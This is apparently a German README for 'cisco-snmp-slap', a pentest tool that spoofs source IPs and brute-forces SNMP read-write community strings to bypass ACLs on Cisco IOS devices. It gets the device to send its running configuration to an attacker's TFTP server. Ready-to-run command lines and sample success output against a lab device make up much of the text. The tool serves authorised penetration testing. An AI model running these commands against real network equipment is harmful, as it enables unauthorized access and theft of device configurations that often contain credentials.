
IP-Spoofing- und SNMP-Community-String-Brute-Force-Tool zur Umgehung von ACLs auf Cisco-IOS-Geräten und Exfiltration von Konfigurationsdateien über TFTP.
cisco-snmp-slap nutzt IP-Adress-Spoofing, um eine ACL zu umgehen, die einen SNMP-Dienst auf einem Cisco-IOS-Gerät schützt.
Typischerweise hat IP-Spoofing bei realen Angriffen außerhalb von DoS nur begrenzten Nutzen. Jeder TCP- Dienst kann den anfänglichen Handshake nicht abschließen. UDP-Pakete sind leichter zu spoofen, aber das Rückpaket wird oft an die falsche Adresse gesendet, was es schwierig macht, zurückgesendete Informationen zu sammeln.
Wenn ein Angreifer jedoch die SNMP-RW-Community-String und eine gültige Quelladresse erraten kann, kann er SNMP-MIBs setzen. Eine der offensichtlichsten Verwendungen dafür ist, einen Cisco-SNMP-Dienst dazu zu bringen, seine IOS-Konfigurationsdatei an ein anderes Gerät zu senden.
Mit diesem Tool können Sie eine oder mehrere Community-Strings gegen ein Cisco-Gerät testen, von einer oder mehreren IP-Adressen. Wenn Sie IP-Adressen angeben, können Sie wählen, ob Sie einen Bereich von Quelladressen sequenziell oder zufällig durchgehen möchten.
Um einen Bereich von Quell-IP-Adressen zu prüfen, werden eine anfängliche Quelladresse und eine IP-Maske angegeben. Alle in der IP-Maske gesetzten Bits werden verwendet, um Quell-IP-Adressen zu generieren, indem die anfängliche Quelladresse verändert wird.
Wenn beispielsweise eine Quelladresse von 10.0.0.0 mit einer IP-Maske von
0.0.0.255 angegeben wird, durchsucht das Skript den Adressbereich von 10.0.0.0 bis 10.0.0.255.
Die gesetzten Bits müssen nicht wie bei einer Subnetzmaske sequenziell sein. Beispielsweise ist die
Maske 0.128.1.255 gültig und durchsucht die Bereiche 10.0,128.0-1.0-255.
Beim Prüfen eines Bereichs von IP-Adressen, ob zufällig oder sequenziell, müssen Sie den Pfad zum Stammverzeichnis des TFTP-Verzeichnisses angeben. Das Skript prüft dieses Verzeichnis, um festzustellen, ob die Datei erfolgreich übertragen wurde.
Dieses Tool wurde geschrieben, um während Pentests Cisco-Layer-3-Switches anzugreifen, obwohl es auch andere Verwendungen haben könnte. Es funktioniert gut gegen diese Geräte, weil:
Ich hoffe jedoch, dass Benutzer andere interessante Verwendungsmöglichkeiten für dieses Skript und seinen Quellcode finden.
In diesem Beispiel verwende ich ein einfaches IOS-Gerät mit einer Access-Liste, die einen SNMP-Dienst mit der Community-String 'cisco' schützt.
Die IP-Adresse eines IOS-Geräts ist 10.0.0.1
Der Pentester hat die IP-Adresse 10.0.0.2 und einen TFTP-Server gestartet.
Wenn der Tester all dies weiß, verwendet er den One-Shot-Einzelmodus, um die Konfigurationsdatei des Geräts zu holen. Z.B.
./slap.py single cisco 10.0.0.2 10.100.100.100 10.0.0.1
Wenn der Tester die Details nicht kennt, kann er versuchen zu raten. Angenommen, der Tester hat etwas Aufklärung betrieben und herausgefunden, dass alle internen Adressen im 10.0.0.0/8-Bereich liegen.
./slap.py seqmask private 10.0.0.2 10.0.0.0 0.255.255.0 10.0.0.1 /tftproot/
Dieser Befehl durchsucht alle /24-Subnetze. Der Tester hofft, Zeit zu sparen, indem er annimmt, dass ein ganzes Subnetz Zugriff erhält, anstatt nur einer einzelnen IP-Adresse.
root@Athena:/home/notroot/cisco-snmp-slap# ./slap.py seqmask cisco 10.0.0.2 10.0.0.5 0.255.255.0 10.0.0.1 /tftproot/
Cisco SNMP Slap, v0.3
Darren McDonald, [email protected]
WARNING: No route found for IPv6 destination :: (no default route?)
Community String: cisco
TFTP Server IP : 10.0.0.2
Source IP: 10.0.0.5
Source Mask: 0.255.255.0
Destination IP: 10.0.0.1
TFTP Root Path: /tftproot//cisco-config.txt
10.0.0.5
10.0.1.5
10.0.2.5
< ... cut for brevity ... >
10.100.99.255
10.100.100.0
10.100.100.1
10.100.100.2
10.100.100.3
10.100.100.4
10.100.100.5
10.100.100.6
Success!
Ihnen wird auffallen, dass das Programm beendet wird und den Erfolg mehrere IP-
Adressen nach dem Eintritt in den Bereich 10.100.100.0/24 verkündet. Das liegt daran, dass es nicht
möglich ist zu bestimmen, welche Quelladresse erfolgreich war, sondern nur, dass eine
der Anfragen erfolgreich war, nachdem die Konfigurationsdatei im tftproot aufgetaucht ist.
Da Sie gerade die laufende Konfiguration erhalten haben, können Sie nun die Details
der ACL selbst herausfinden.
Anstatt eine einzelne Community-String anzugeben, können Sie auch eine Liste
angeben, die verwendet werden soll. Die Modusnamen sind dieselben, haben jedoch ein '_l'-Suffix.
Um beispielsweise denselben Angriff mit einer Liste von Community-Strings in der Datei list.txt zu wiederholen, sollten die folgenden Argumente verwendet werden.
root@Athena:/home/notroot/cisco-snmp-slap# ./slap.py seqmask_l list.txt 10.0.0.2 10.0.0.5 0.255.255.0 10.0.0.1 /tftproot/
Cisco SNMP Slap, v0.3
Darren McDonald, [email protected]
WARNING: No route found for IPv6 destination :: (no default route?)
Community File: list.txt
TFTP Server IP : 10.0.0.2
Source IP: 10.0.0.5
Source Mask:0.255.255.0
Destination IP: 10.0.0.1
TFTP Root Path: /tftproot//cisco-config.txt
community strings loaded: ['private\n', 'cisco\n', 'public\n']
10.0.0.5 / private
10.0.0.5 / cisco
10.0.0.5 / public
10.0.1.5 / private
10.0.1.5 / cisco
10.0.1.5 / public
10.0.2.5 / private
10.0.2.5 / cisco
10.0.2.5 / public
10.0.3.5 / private
10.0.3.5 / cisco
10.0.3.5 / public
Nun wird jede IP-Adresse mit jeder Community-String in list.txt überprüft.
Python ist, was Programmiersprachen angeht, eine einfache Sprache, leicht zu lesen und zu schreiben, und ich ermutige Sie, zu versuchen, Probleme, die Sie finden, zu debuggen und zu korrigieren und mir Ihre Änderungen zu senden, damit ich sie mit anderen Benutzern auf dem NCC-Github teilen kann.
Wenn Sie jedoch Hilfe benötigen, können Sie mich unter [email protected] kontaktieren. Ich werde mein Bestes tun, um Ihnen zu helfen, aber Sie sollten sich darüber im Klaren sein, dass ich kein Vollzeit- Entwickler bin (was an meinem Code offensichtlich sein sollte!) und möglicherweise nicht sofort Zeit für Ihre Anfrage habe.